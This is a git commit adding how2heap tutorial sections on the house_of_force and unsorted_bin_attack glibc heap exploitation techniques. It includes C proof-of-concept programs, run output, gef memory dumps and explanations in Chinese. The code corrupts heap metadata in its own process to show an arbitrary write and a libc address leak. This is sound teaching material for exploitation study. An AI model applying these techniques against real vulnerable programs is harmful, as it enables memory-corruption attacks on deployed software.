update 3.3.7

This commit is contained in:
firmianay 2018-01-15 16:02:30 +08:00
parent 7a450288f9
commit af116609bc
3 changed files with 246 additions and 0 deletions

View File

@ -11,8 +11,195 @@
## how2heap
#### house_of_force
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main() {
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}
```
```
$ gcc -g house_of_force.c
$ ./a.out
We will overwrite a variable at 0x601080
Let's allocate the first chunk of 0x10 bytes: 0x824010.
Real size of our allocated chunk is 0x18.
Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20fe1
New size of top chunk: 0xffffffffffffffff
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x824030
malloc(0x30) => 0x601080!
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!
```
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk即 top chunk当 bins 和 fast bins 都不能满足分配需要的时候malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。
首先随意分配一个 chunk此时内存里存在两个 chunk即 chunk 1 和 top chunk
```
gef➤ x/8gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
0x602030: 0x0000000000000000 0x0000000000000000
```
chunk 1 真实可用的内存有 0x18 字节。
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
```
gef➤ x/8gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
0x602030: 0x0000000000000000 0x0000000000000000
```
改写之后的 size==0xffffffff。
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
```
gef➤ x/8gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x4141414141414141
0x602020: 0x4141414141414141 0xfffffffffffff051
0x602030: 0x0000000000000000 0x0000000000000000
gef➤ x/12gx 0x602010+0xfffffffffffff050
0x601060: 0x4141414141414141 0x4141414141414141
0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
0x6010b0: 0x0000000000000000 0x0000000000000000
```
再次 malloc将目标地址包含进来即可现在我们就成功控制了目标内存
```
gef➤ x/12gx 0x602010+0xfffffffffffff050
0x601060: 0x4141414141414141 0x4141414141414141
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
```
#### unsorted_bin_attack
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}
```
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
unlink 的对 unsorted bin 的操作是这样的:
```c
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```
其中 `bck = victim->bk`
首先分配两个 chunk然后释放掉第一个它将被加入到 unsorted bin 中:
```
gef➤ x/26gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx &stack_var-2
0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
```
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2也就相当于是在目标地址处有一个 fake free chunk然后 malloc
```
gef➤ x/26gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
0x6020c0: 0x0000000000000000 0x0000000000000000
gef➤ x/4gx &stack_var-2
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
```
从而泄漏了 unsorted bin 的头部地址。
#### house_of_einherjar

View File

@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "This is a string that we want to overwrite.";
int main() {
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
intptr_t *p1 = malloc(0x10);
int real_size = malloc_usable_size(p1);
memset(p1, 'A', real_size);
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
ptr_top[0] = -1;
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
int real_size_new = malloc_usable_size(new_ptr);
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
void* ctr_chunk = malloc(0x30);
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
fprintf(stderr, "old string: %s\n", bss_var);
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "new string: %s\n", bss_var);
}

View File

@ -0,0 +1,20 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long stack_var = 0;
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
unsigned long *p = malloc(0x80);
unsigned long *p1 = malloc(0x10);
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
free(p);
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
p[1] = (unsigned long)(&stack_var - 2);
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
malloc(0x80);
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}